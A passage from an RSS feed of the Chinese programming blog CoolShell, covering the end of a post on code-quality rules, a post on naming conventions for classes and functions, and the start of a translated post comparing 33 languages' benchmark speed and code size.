注重接口，而不是实现</h2>\n<p>这是一个最经典的规则了。接口注重的是——“What”是抽象，实现注重的是——“How”是细节。接口相当于一种合同契约，而实际的细节相当于对这种合同契约的一种运作和实现。运作是可以很灵活的，而合同契约则需要是相对需要稳定和不变的。如果，一个接口没有设计好而需要经常性的变化的话，那我们可以试想一下，这代来的后果，这绝对会是一件成本很大的事情。所以，在软件开发和调设中，接口是重中之重，而不是实现。然而我们的程序员总是注重于实现细节，所以他们局部的代码写的非常不错，但软件整体却设计得相对较差。这点需要我们多多注意。</p>\n<h2>10.- 代码审查机制</h2>\n<p>所有人都会出错，一个人出错的概率是很大的，两个人出错的概率就会小一些，人多一些，出错的概率就会越来越小。因为，人多了，就能够从不同的角度看待一个事情，虽然这样可能导致无效率的争论，但比起软件产品release后出现问题的维护成本，这点成本算是相当值得的。所以，这就是我们需要让不同的人来reivew代码，代码审查机制不但是一种发现问题的最有效的机制，同时也是一种可以知识共享的机制。当然，对于Code Review来说，下面有几个基本原则：</p>\n<ul>\n<li>审查者的能力一定要大于或等于代码作者的能力，不然，代码审查就成了一种对新手的training。</li>\n<li>而且，为了让审查者真正负责起来，而不是在敷衍审查工作，我们需要让审查者对审查过的代码负主要责任，而不是代码的作者。 </li>\n<li>另外，好的代码审查应该不是当代码完成的时候，而是在代码编写的过程中，不断地迭代代码审查。好的实践的，无论代码是否完成，代码审核需要几天一次地不断地进行。</li>\n</ul>\n<p>（<strong>我以我个人的语言叙述本文，并加入了我个人的经历，所以，请你在转载时请注意作者和出处，并且，请勿用于商业用途</strong>）</p>\n<p>文章：<a href=\"http://makinggoodsoftware.com/2009/06/04/10-commandments-for-creating-good-code/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" alt=\"Linus：利用二级指针删除单向链表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_title\">Linus：利用二级指针删除单向链表</a></li><li ><a href=\"https://coolshell.cn/articles/8745.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"如此理解面向对象编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8745.html\" class=\"wp_rp_title\">如此理解面向对象编程</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"千万不要把 bool 设计成函数参数\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_title\">千万不要把 bool 设计成函数参数</a></li><li ><a href=\"https://coolshell.cn/articles/5201.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif\" alt=\"重构代码的7个阶段\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5201.html\" class=\"wp_rp_title\">重构代码的7个阶段</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1007.html\">优质代码的十诫</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1007.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>32</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>编程中的命名设计那点事</title>\n\t\t<link>https://coolshell.cn/articles/990.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/990.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Sun, 07 Jun 2009 08:36:49 +0000</pubDate>\n\t\t\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Coding]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=990</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在我开始设计系统的时候，我会花去很多时间去设计命名，因为好的命名和好的设计是分不开的。 In the beginning was the Word, and t...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/990.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/990.html\">编程中的命名设计那点事</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>在我开始设计系统的时候，我会花去很多时间去设计命名，因为好的命名和好的设计是分不开的。</p>\n<blockquote><p>In the beginning was the <strong>Word</strong>, and the Word was with God, and the Word was God<br />\n太初有道。道与神同在，道就是神。 (约翰福音第一章，第一节)</p></blockquote>\n<p>在设计过程中给类，方法和函数好的命名会带来好的设计，虽然这不是一定成立，但是如果坏的命名那一定不会给你带来好的设计。在设计过程，如果你发现你很难命名某一个模块，某个方法时，可能你真正遇到的问题不是难命名的问题，而是这个设计是否真的合理，你或许应该花更多的时间来重新设计一下你的模块。</p>\n<p>好的命名不仅会带来好的设计，好的命名还提高了程序的可读性，降低代码维护的成本。另一方面，如果糟糕的命名会给代码带来一堵无形的墙，让你必须深入代码去研究代码具有的行为，增加你理解代码的时间。</p>\n<p>为此我总结了几条关于命名的指导原则，希望这几条原则能为你的命名设计带来帮助，我使用的是C++的语法，当然这些原则也很容易扩展到其他语言中去。</p>\n<h3><span style=\"color: #339966;\">类型命名(类，接口，和结构)</span></h3>\n<p><span style=\"color: #339966;\"><br />\n</span></p>\n<p><span style=\"color: #0000ff;\"><strong>名字应该尽量采用名词</strong></span><br />\n<code>Bad:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Happy<br />\nGood:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Happiness</code></p>\n<p><span id=\"more-990\"></span></p>\n<p><span style=\"color: #0000ff;\"><strong>不要使用类似名字空间的前缀</strong></span><br />\n<code>Bad:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SystemOnlineMessage<br />\nGood:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System::Online:Message<br />\n</code></p>\n<p><span style=\"color: #0000ff;\"><strong>形容词不要用太多，能描述清楚就行</strong></span><br />\n<code>Bad:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IAbstractFactoryPatternBase<br />\nGood:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IFactory<br />\n</code></p>\n<p><span style=\"color: #0000ff;\"><strong>在类型中不要使用Manager 或则 Helper 或则其他没意义的单词</strong></span><br />\n如果你一定要在一个类型上加上Manager或Helper，那么这个类型要么就是命名的非常糟糕，要么就是设计的非常糟糕，如果是后则，那么这个类型就应该管理manage和帮助help一下自己了。<br />\n<code>Bad:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ConnectionManager<br />\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XmlHelper<br />\nGood:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Connection<br />\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XmlDocument, XmlNode, etc.<br />\n</code></p>\n<p><span style=\"color: #0000ff;\"><strong>如果某个类不能通过简单的命名来描述它具有的功能，可以考虑用类比的方式来命名</strong></span><code><br />\nBad:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IncomingMessageQueue<br />\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CharacterArray<br />\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SpatialOrganizer<br />\nGood:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Mailbox<br />\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String<br />\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Map<br />\n</code></p>\n<p><span style=\"color: #0000ff;\"><strong>如果你使用类比，你就应该一致的使用它们</strong></span><br />\n<code>Bad:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Mailbox,DestinationID<br />\nGood:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Mailbox,Address<br />\n</code></p>\n<h3><span style=\"color: #339966;\">函数(方法和过程)</span></h3>\n<p><span style=\"color: #339966;\"><br />\n</span></p>\n<p><span style=\"color: #0000ff;\"><strong>简洁</strong></span><br />\n<code>Bad:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;list.GetNumberOfItems()<br />\nGood:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;list.Count()<br />\n</code></p>\n<p><span style=\"color: #0000ff;\"><strong>不要太简洁</strong></span><br />\n<code>Bad:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;list.Verify()<br />\nGood:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;list.ContainsNull()<br />\n</code></p>\n<p><span style=\"color: #0000ff;\"><strong>避免缩写</strong></span><br />\n<code>Bad:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;list.Srt()<br />\nGood:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;list.Sort()<br />\n</code></p>\n<p><span style=\"color: #0000ff;\"><strong>对于完成某件事情的函数使用动词</strong></span><br />\n<code>Bad:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;obj.RefCount();<br />\nGood:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;list.Clear();<br />\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;list.Sort();<br />\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;obj.AddReference();<br />\n</code></p>\n<p><span style=\"color: #0000ff;\"><strong>对于返回布尔型的函数，使用类似提问的方式</strong></span><br />\n<code>Bad:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;list.Empty();<br />\nGood:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;list.IsEmpty();<br />\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;list.Contains(item);<br />\n</code></p>\n<p><span style=\"color: #0000ff;\"><strong>对于只是返回属性，而不改变状态的函数则使用名词</strong></span><br />\n<code>Bad:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;list.GetCount();<br />\nGood:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;list.Count();<br />\n</code></p>\n<p><span style=\"color: #0000ff;\"><strong>不要在函数名字中重复参数的名称</strong></span><br />\n<code>Bad:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;list.AddItem(item);<br />\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;handler.ReceiveMessage(msg);<br />\nGood:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;list.Add(item);<br />\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;handler.Receive(msg);<br />\n</code></p>\n<p><span style=\"color: #0000ff;\"><strong>不要方法的名字中重复此方法的类的名称</strong></span><br />\n<code>Bad:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;list.AddToList(item);<br />\nGood:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;list.Add(item);<br />\n</code></p>\n<p><span style=\"color: #0000ff;\"><strong>不要在函数的名字中加入返回类型，除非函数名必须以返回类型进行区别</strong></span><br />\n<code>Bad:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;list.GetCountInt();<br />\nGood:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;list.GetCount();<br />\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;message.GetIntValue();<br />\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;message.GetFloatValue();<br />\n</code></p>\n<p><span style=\"color: #0000ff;\"><strong>不要名字中使用And 或则 Or</strong></span><br />\n如果你使用一个连接词来连接函数名，那么这个函数肯定是做了太多的事情，更好的做法是将其分成更小的函数来处理(类似面向对象设计准则中的责任单一原则)。<br />\n如果你想确保是这是一个原子的操作，那么你应该用一个名字来描述这个操作或一个类来封装他<br />\n<code>Bad:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mail.VerifyAddressAndSendStatus();<br />\nGood:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mail.VerifyAddress();<br />\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mail.SendStatus();<br />\n</code></p>\n<p>这是一篇非常优秀的文章，我用我的语言在组织了一下，如果喜欢英文的读者可以点击<a href=\"http://journal.stuffwithstuff.com/2009/06/05/naming-things-in-code/\">这里</a>阅读原文<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" alt=\"Linus：利用二级指针删除单向链表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_title\">Linus：利用二级指针删除单向链表</a></li><li ><a href=\"https://coolshell.cn/articles/8745.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"如此理解面向对象编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8745.html\" class=\"wp_rp_title\">如此理解面向对象编程</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"千万不要把 bool 设计成函数参数\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_title\">千万不要把 bool 设计成函数参数</a></li><li ><a href=\"https://coolshell.cn/articles/5201.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif\" alt=\"重构代码的7个阶段\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5201.html\" class=\"wp_rp_title\">重构代码的7个阶段</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/990.html\">编程中的命名设计那点事</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/990.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>29</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>编程语言的评测</title>\n\t\t<link>https://coolshell.cn/articles/973.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/973.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Sat, 06 Jun 2009 14:50:49 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[benchmark]]></category>\n\t\t<category><![CDATA[programming language]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=973</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>摘要：这篇文章的原文出处在这里 我意译了整篇文章。结合计算机语言评测基准这个网站来读此文还是比较有意思。当然也不能以这个评测结果就贸然断定什么语言最好，什么语言...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/973.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/973.html\">编程语言的评测</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>摘要</strong>：这篇文章的原文出处在<a href=\"http://gmarceau.qc.ca/blog/2009/05/speed-size-and-dependability-of.html\">这里</a> 我意译了整篇文章。结合<a href=\"http://shootout.alioth.debian.org/\">计算机语言评测基准</a>这个网站来读此文还是比较有意思。当然也不能以这个评测结果就贸然断定什么语言最好，什么语言不好。没有好不好的语言，只有适不适用于你解决问题域的语言。就文章而言请大家还是不必太过认真，就当从另一个方面来了解一下这33种编程语言吧。</p>\n<p><a href=\"http://shootout.alioth.debian.org/\">计算机语言评测基准</a>是一个由429个程序组成的集合，它评测了33个程序语言的13的重复实现的基准程序。如果你想量化的比较不同语言，那么这个是一个非常不错的资源。</p>\n<p>在计算机评测基准中，评测者为了尽量让评测准确，非常谨慎的选择了13个基准程序，这13个基准程序并不针对某以特定语言有特殊的优化。对于评测选择33中语言都实现了13个基准程序。当然，除了速度这个指标外，程序基准评测同时也为每一个基准测试程序发布一个编码大小指标。非常感谢基准评测让我们看到程序设计中非常重要的一个方面：程序语言的性能和程序语言灵活性之间的矛盾。正是这个矛盾给所谓“高级编程语言”带上一个含蓄的轻蔑的意思。即，当你在使用这些高级语言编码时，你也许可以编写出漂亮的代码，但是你是如此的远离了硬件，你不可能获得更好的性能，是这样的吗？</p>\n<p><span id=\"more-973\"></span></p>\n<p><a rel=\"attachment wp-att-976\" href=\"https://coolshell.cn/?attachment_id=976\"><img decoding=\"async\" loading=\"lazy\" width=\"457\" height=\"457\" class=\"aligncenter size-full wp-image-976\" title=\"size-vs-speed-vs-depandability-context-3\" src=\"https://coolshell.cn/wp-content/uploads/2009/06/size-vs-speed-vs-depandability-context-3.png\" alt=\"size-vs-speed-vs-depandability-context-3\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/06/size-vs-speed-vs-depandability-context-3.png 457w, https://coolshell.cn/wp-content/uploads/2009/06/size-vs-speed-vs-depandability-context-3-150x150.png 150w, https://coolshell.cn/wp-content/uploads/2009/06/size-vs-speed-vs-depandability-context-3-300x300.png 300w, https://coolshell.cn/wp-content/uploads/2009/06/size-vs-speed-vs-depandability-context-3-200x200.png 200w, https://coolshell.cn/wp-content/uploads/2009/06/size-vs-speed-vs-depandability-context-3-270x270.png 270w\" sizes=\"(max-width: 457px) 100vw, 457px\" /></a><br />\n如果我们将基准测试程序的结果放在一张XY的图表上，那么我们就可以为这张表的4个角命名。快速而复杂的语言应积聚在图表的左上角。我们把这类语言称为系统语言。简洁但慢速的语言应该聚集在右下角，我们称之为脚本语言。在右上角，应该是过时的语言。除非这些语言具有非常吸引人的特性，否则语言已经被新出现的语言所淘汰。最后在左下角，基本上找不到对应的语言，因为在这一区域的语言是理想状态的语言。在这个区域的语言是又快又短又利于使用的语言。</p>\n<p>图中每一个小点就代表一种语言的一个基准程序实现，因此这图里面共有429个点，每个点的XY轴分别代表了其和最好的语言实现差距的倍数(从语言的复杂性和语言执行性能来说)，其中一些点比较分散，我们就没有在图中画出。从上面这个图我们可以看到这些粉红色点沿着Y轴(复杂性)比X轴(执行性能)分布更统一，这是不是意味着，人类在提升语言表达的灵活性上还在稳步的不断进步，而在提升语言性能方面却遇到了很多的麻烦呢：）</p>\n<p>针对每一个种语言，比如说scala语言，我们用下面的图来描述：图的中心点，是这个语言测试结果的平均值，然后做每一个评测结果的具体值到这个均值的连线就够成了一个星型图。这个图说明了scala一些特性，在X轴性能上来说，大部分点都分布在靠近左边，说明scala的性能是不错的，如果优化JVM的话，scala可以大部分提高性能，但是scala性能分布并不一致，其中的一个点甚至到了最右边。就语言复杂性(Y轴)来说，scala的表现也不错，不过有时候为了获得高性能，也会导致语言复杂提高，比如scala的其中一个点就在最顶端。</p>\n<p><a rel=\"attachment wp-att-974\" href=\"https://coolshell.cn/?attachment_id=974\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-974\" title=\"size-vs-speed-vs-depandability-scala\" src=\"https://coolshell.cn/wp-content/uploads/2009/06/size-vs-speed-vs-depandability-scala.png\" alt=\"size-vs-speed-vs-depandability-scala\" width=\"329\" height=\"358\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/06/size-vs-speed-vs-depandability-scala.png 329w, https://coolshell.cn/wp-content/uploads/2009/06/size-vs-speed-vs-depandability-scala-275x300.png 275w\" sizes=\"(max-width: 329px) 100vw, 329px\" /></a></p>\n<p>通过为每一种语言形成如上的一个图，我们最后可以为这33种语言评的测结果形成了如下的一个图，这是一个6*6的图。其中每一个小图具有同样的轴和同样的精度。这张图的目的是为了方便的比较每一个语言的星型。这些图按语言的平均性能来组织列，最左边的语言的性能最好，最右边的语言性能最差，在每一列中的语言又按照平均的语言代码量(复杂程度)进行排列，代码量最小的语言在最低端，代码量最大的在最顶端。</p>\n<figure id=\"attachment_975\" aria-describedby=\"caption-attachment-975\" style=\"width: 275px\" class=\"wp-caption aligncenter\"><a title=\"点击看大图\" href=\"https://coolshell.cn/wp-content/uploads/2009/06/size-vs-speed-vs-depandability-2009.png\"><img decoding=\"async\" loading=\"lazy\" class=\"size-medium wp-image-975\" title=\"size-vs-speed-vs-depandability-2009\" src=\"https://coolshell.cn/wp-content/uploads/2009/06/size-vs-speed-vs-depandability-2009-275x300.png\" alt=\"size-vs-speed-vs-depandability-2009\" width=\"275\" height=\"300\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/06/size-vs-speed-vs-depandability-2009-275x300.png 275w, https://coolshell.cn/wp-content/uploads/2009/06/size-vs-speed-vs-depandability-2009-940x1024.png 940w, https://coolshell.cn/wp-content/uploads/2009/06/size-vs-speed-vs-depandability-2009.png 1221w\" sizes=\"(max-width: 275px) 100vw, 275px\" /></a><figcaption id=\"caption-attachment-975\" class=\"wp-caption-text\">点击看大图</figcaption></figure>\n<p>在图的最左边的性能是最好的，又高又瘦的星型，我们可以看到，除了GCC和G++外，其他的性能都显示了惊人的一致性(每一个基准测试程序的性能都非常接近)。而JAVA也非常骄傲的出现在一组中，这说明经过了10年的优化后，Java运行时的性能已经得到长足的提高(要用Java做大系统的人是否还会犹豫呢：）)。<br />\n在图的右边，我们看到了一些又胖又矮的星型，这些是一些脚本语言，从图中可以看出，这些脚本语言社区的人们当他们在不断改善他们语言的表达性的同时并没有花大力气在性能的改善上。然而也有例外，Lua这门脚本语言就有很好的执行性能。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img 